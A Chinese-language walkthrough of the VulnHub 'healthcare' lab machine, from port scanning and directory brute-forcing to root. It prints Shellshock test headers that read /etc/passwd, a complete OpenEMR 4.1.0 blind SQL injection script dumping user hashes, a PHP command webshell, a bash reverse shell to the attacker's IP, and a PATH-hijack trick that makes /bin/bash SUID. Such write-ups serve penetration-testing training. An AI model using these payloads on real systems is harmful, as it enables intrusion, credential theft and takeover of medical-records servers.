vulnhub靶场之healthcare靶机

embedded/2025/3/15 7:25:42/

前言

靶机:healthcare靶机,IP地址为192.168.10.11

攻击:kali,IP地址为192.168.10.6

靶机和攻击机都采用VMware虚拟机,都采用桥接网卡模式

文章涉及的靶机及工具,都可以自行访问官网或者项目地址进行获取,或者通过网盘链接下载 https://pan.quark.cn/s/d61ada5d3cf2

主机发现

也就是相当于现实环境中去发现确定主机的ip地址,因为这里是靶机环境,所以跳过了从域名到ip地址的过程。

使用arp-scan -l或者netdiscovery -r 192.168.10.1/24

当然也可以使用nmap等工具进行

arp-scan -l

信息收集

使用nmap扫描目标端口等信息

首先扫描目标的tcp端口的开放情况

nmap -sT --min-rate=1000 192.168.10.11 -p- -oA nmap-tcp

再扫描udp端口的开放情况

nmap -sU --min-rate=1000 192.168.10.11 --top-ports 20 -oA nmap-udp

可以看到明确开放的udp端口没有,所以下面对tcp端口进行一个筛选,这里因为22端口并不是明确closed的,是filtered的,所以也要包括在内

ports=`grep /tcp nmap-tcp.nmap | awk -F'/' '{print $1}' | paste -sd ','`

进一步对这些端口进行服务、系统等探测

nmap -sV -O -sC 192.168.10.11 -p $ports --min-rate=1000

再使用nmap的漏洞检测脚本对这些端口进行探测

nmap --script=vuln 192.168.10.11 -p $ports

FTP探测

使用nmap的脚本检测

nmap --script=ftp* 192.168.10.11 -p 21

再尝试使用anonymous能否匿名无密码登录,虽然如果可以nmap会显示的,但还是测试一下

网站信息探测

访问端口界面,查看页面源代码,并无信息泄露

使用whatweb或浏览器插件wappalyzer识别配置

whatweb http://192.168.10.11

使用gobuster等工具进行目录爆破

gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -b 403-404 -x php,html,txt,git,zip,md

访问robots.txt,发现几个目录

访问/all_our_e-mail_addresses,发现不行,提示对象找不到,并且尝试访问其他的目录,也是如此

这里robots中提到user-agent,不过即使我修改为htdig,也是无法访问doc方面的,只能暂且放置

访问目录爆破出的几个目录,要不就是找不到,要么就是403,无权访问

重新扫描一下,换一个工具,感觉少了点什么

dirsearch -u http://192.168.10.11

啧啧啧, 这可厉害了,访问查看

好好好,那么就测试有无shellshock漏洞。对于该漏洞,再次写一下

CVE漏洞名称:CVE-2014-6271

目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

那么尝试构造链接进行测试

curl -H "User-Agent: (){ :;};echo Content-Type;echo test;/usr/bin/id;" http://192.168.10.11/cgi-bin/test.cgi -I -vcurl -H 'x: () { :;};a=/bin/cat /etc/passwd;echo $a' 'http://192.168.10.11/cgi-bin/test.cgi' -I

但是测试后,发现漏洞应该修复了,代码并没有执行成功,奇怪了,突破点在哪里啊

使用searchsploit有无对应的apache2漏洞,基本上不行

两条路,爆破ftp,这个难度可能高,毕竟不知道用户名和密码

另外就是目录爆破的字典不行,再扩大

这里我其实使用的是kali默认的最大字典了,啧,只能下载字典了,好在可以通过apt直接下载

apt -y install seclists

这个在github上是有项目地址的,并且一直在更新https://github.com/danielmiessler/SecLists

这个字典安装后的位置是在/usr/share/seclists

因为后面采用的字典很大,我这里为了省时间,就去掉了扩展,实际扫描的时候建议不要像我这样

我是因为实在没办法看了wp,最后知道是字典问题的,所以去掉扩展扫描的

gobuster dir -u http://192.168.10.11 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -b 404,403

cms漏洞利用

访问openemr,发现有一个登录框,并且给出了版本

登录框测试了一下简单的注入,并没有效果,并且并没有验证码之类的,所以可以爆破

使用searchsploit搜索该CMS的漏洞,发现具体的有两个漏洞,都是sql注入的

查看文本txt文件

尝试下面的payload,发现并不行,访问后还是直接跳转到登录界面

那么查看python脚本文件,文件中的url,测试一下是否可以访问,可以访问

进一步的去查看脚本文件,发现,主要就是利用时间延时注入进行的一个枚举

查看代码,当然,这里其实知道了注入点,就可以自己去burp等工具上进行爆破了,这也让我知道会编写脚本的重要性。

# Exploit Title: OpenEMR 4.1.0 - 'u' SQL Injection
# Date: 2021-04-03
# Exploit Author: Michael Ikua
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v4_1_0.zip
# Version: 4.1.0
# Original Advisory: https://www.netsparker.com/web-applications-advisories/sql-injection-vulnerability-in-openemr/#!/usr/bin/env python3import requests
import string
import sysprint("""____                   ________  _______     __ __   ___ ____/ __ \____  ___  ____  / ____/  |/  / __ \   / // /  <  // __ \\/ / / / __ \/ _ \/ __ \/ __/ / /|_/ / /_/ /  / // /_  / // / / /
/ /_/ / /_/ /  __/ / / / /___/ /  / / _, _/  /__  __/ / // /_/ /
\____/ .___/\___/_/ /_/_____/_/  /_/_/ |_|     /_/ (_)_(_)____//_/____  ___           __   _____ ____    __    _/ __ )/ (_)___  ____/ /  / ___// __ \  / /   (_)/ /_/ / / / __ \/ __  /   \__ \/ / / / / /   / // /_/ / / / / / / /_/ /   ___/ / /_/ / / /___/ /
/_____/_/_/_/ /_/\__,_/   /____/\___\_\/_____/_/   exploit by @ikuamike
""")all = string.printable
# 这里编辑url地址,确保是可访问的正确的
url = "http://192.168.10.11/openemr/interface/login/validateUser.php?u="#确定用户名的个数
def extract_users_num():print("[+] Finding number of users...")for n in range(1,100):payload = '\'%2b(SELECT+if((select count(username) from users)=' + str(n) + ',sleep(3),1))%2b\''r = requests.get(url+payload)if r.elapsed.total_seconds() > 3:user_length = nbreakprint("[+] Found number of users: " + str(user_length))return user_lengthdef extract_users():users = extract_users_num()print("[+] Extracting username and password hash...")output = []#这个for循环是确定user:pass这种形式的具体长度的,也就是length的大小for n in range(1,1000):payload = '\'%2b(SELECT+if(length((select+group_concat(username,\':\',password)+from+users+limit+0,1))=' + str(n) + ',sleep(3),1))%2b\''#print(payload)r = requests.get(url+payload)#print(r.request.url)if r.elapsed.total_seconds() > 3:length = nbreak#这个for循环是确定每一位的ascii值的for i in range(1,length+1):for char in all:payload = '\'%2b(SELECT+if(ascii(substr((select+group_concat(username,\':\',password)+from+users+limit+0,1),'+ str(i)+',1))='+str(ord
(char))+',sleep(3),1))%2b\''#print(payload)r = requests.get(url+payload)#print(r.request.url)if r.elapsed.total_seconds() > 3:output.append(char)if char == ",":print("")continueprint(char, end='', flush=True)try:extract_users()
except KeyboardInterrupt:print("")print("[+] Exiting...")sys.exit()

啧,其实到这里可以尝试使用sqlmap了,但是在一些考试中,不允许使用的,所以还是使用脚本。不过sqlmap一定要会使用

这个脚本需要修改其中的url,也就是ip地址改为靶机的即可

#执行脚本
python3 49742.py#获取到的值
[+] Finding number of users...
[+] Found number of users: 2
[+] Extracting username and password hash...
admin:3863efef9ee2bfbc51ecdca359c6302bed1389e8
medical:ab24aed5a7c4ad45615cd7e0da816eea39e4895d

借助在线网站cmd5.com破解值

25

破解后为

admin:ackbar
medical:medical

构造命令执行至反弹shell

admin登录,然后测试功能点,在administration下的files中,发现可编辑文件,并且可以保存,编辑的文件可以是php,并且还有文件所在的路径,插入一句话,使得可以命令执行

php">system($_GET['cmd']);

然后下拉,可以看到save按钮,保存即可

这时候构造链接去访问,若直接访问/sites/default的话,是无权的,但是加上config.php可以访问成功

http://192.168.10.11/openemr/sites/default/config.php?cmd=id

后面就可以进行编写反弹shell

bash -i >& /dev/tcp/192.168.10.6/9999 0>&1
#进行url编码
bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.6%2f9999+0%3e%261

当然执行前记得先在kali开启监听端口

nc -lvvp 9999

提权

使用命令查看安装的什么版本的python,然后进一步获取shell

compgen -c | grep python
python -c 'import pty;pty.spawn("/bin/bash")'

查看有哪些用户,发现有medical,之前获取的medical密码是否可用,进行测试

密码与网站密码一样,用户名medical,密码medical

查看当前用户下的主目录,并没有发现user.txt,为什么找它,毕竟这是作者说的,找到的过程也是一种学习

切换其他用户目录下查看,因为有权限的,在almirant的主目录下,发现user.txt文件

在备份目录/var/backups处,找到了/etc/shadow的文件备份,这就可以进行hash爆破了

该备份目录下,基本上该有的都有,网站备份,等等,这里也看到了连接数据库的用户名和密码,啧

也去查看了ftp中的信息,只有一个文件,并没有信息,说明21端口真的无用

那么继续,使用find寻找具有SUID权限的文件

find / -perm -4000 -print 2>/dev/null

本以为会有sudo,毕竟这么多用户,想着会一步步提权呢,没想到没有sudo

这个文件,一看就像是自己创建的,执行一下测试

使用strings测试,这个命令靶机可以使用,所以直接查看

strings /usr/bin/healthcheck

可以看到,这里调用命令的时候,并不是绝对路径,是根据环境变量调用的,那么就可以利用这一点,去提权。

cd /tmp
echo $PATH
export PATH=/tmp:$PATH
echo $PATH

这时候就会优先调用/tmp目录的,写一个文件,命名为ifconfig,然后代码为提权,如

echo "chmod +s /bin/bash" > ifconfig
chmod 777 ifconfig

然后开始执行/usr/bin/healthcheck,这时候可以看到ifconfig网络信息的内容没有了

这时候查看/bin/bash的权,发现具有SUID权限了,那么直接提权

/bin/bash -p

查看最终的root.txt

总结

该靶机的考察点主要侧重在web界面,也就是网站

  1. 目录爆破的时候,字典的强度决定你的强度
  2. CMS的历史漏洞,这里提醒,要会编写脚本
  3. CMS的一些功能点要会测试,并能够找到可利用点
  4. 对于环境变量提权的手法要会

http://www.ppmy.cn/embedded/172703.html

相关文章

一个差劲的软件设计

项目概况&#xff1a; 之前自己设计并开发了一个用C#开发的上位机软件&#xff0c;整个软件只有一个Form&#xff0c;一个TabControl&#xff0c;3个TabControlPanel&#xff0c;总共100多个lable、textbox、ListBox等控件都放在这3个TabControlPanel里。 问题&#xff1a; 1.…

复试难度,西电卓越工程师学院(杭研院)考研录取情况

01、卓越工程师学院各个方向 02、24卓越工程师学院&#xff08;杭研院&#xff09;近三年复试分数线对比 PS&#xff1a;卓越工程师学院分为广研院、杭研院 分别有新一代电子信息技术、通信工程、集成电路工程、计算机技术、光学信息工程、网络信息安全、机械&#xff0c;这些…

wlwrap 与 rlwrap 的区别对比:图形显示协议的演变

在 Linux 系统中&#xff0c;许多工具和程序依赖于命令行界面&#xff08;CLI&#xff09;来进行交互&#xff0c;尤其是对于那些没有图形用户界面的应用程序。在这种情况下&#xff0c;命令行编辑、历史记录和自动补全等功能是提升工作效率和用户体验的关键。rlwrap 和 wlwrap…

RocketMQ 性能优化与调优策略(一)

RocketMQ&#xff1a;分布式消息中间件的璀璨之星 在当今数字化时代&#xff0c;分布式系统已成为构建大型应用的核心架构。随着业务规模的不断扩大和用户量的持续增长&#xff0c;系统间的通信和数据交互变得愈发复杂。为了解决这些挑战&#xff0c;消息中间件应运而生&#x…

网络安全信息收集[web子目录]:dirsearch子目录爆破全攻略以及爆破字典结合

目录 一、dirsearch 工具详细使用攻略 1. 安装 前提条件 安装步骤 可选&#xff1a;直接下载预编译版本 2. 基本用法 命令格式 参数说明 示例 3. 核心功能与高级用法 3.1 多线程加速 3.2 自定义字典 3.3 递归扫描 3.4 过滤响应 3.5 添加请求头 3.6 代理支持 3…

鸿蒙next 多行文字加图片后缀实现方案

需求 实现类似iOS的YYLabel之类的在文字后面加上图片作为后缀的样式&#xff0c;多行时文字使用…省略超出部分&#xff0c;但必须保证图片的展现。 系统方案 在当前鸿蒙next系统提供的文字排版方法基本没有合适使用的接口&#xff0c;包括imagespan和RichEditor,根据AI的回…

idea超级AI插件,让 AI 为 Java 工程师

引言​ 用户可在界面中直接通过输入自然语言的形式描述接口的需求&#xff0c;系统通过输入的需求自动分析关键的功能点有哪些&#xff0c;并对不确定方案的需求提供多种选择&#xff0c;以及对需求上下文进行补充&#xff0c;用户修改确定需求后&#xff0c;系统会根据需求设…

鸿蒙初级考试备忘

Module类型 Module按照使用场景可以分为两种类型&#xff1a; Ability类型的Module&#xff1a; 用于实现应用的功能和特性。每一个Ability类型的Module编译后&#xff0c;会生成一个以.hap为后缀的文件&#xff0c;我们称其为HAP&#xff08;Harmony Ability Package&#x…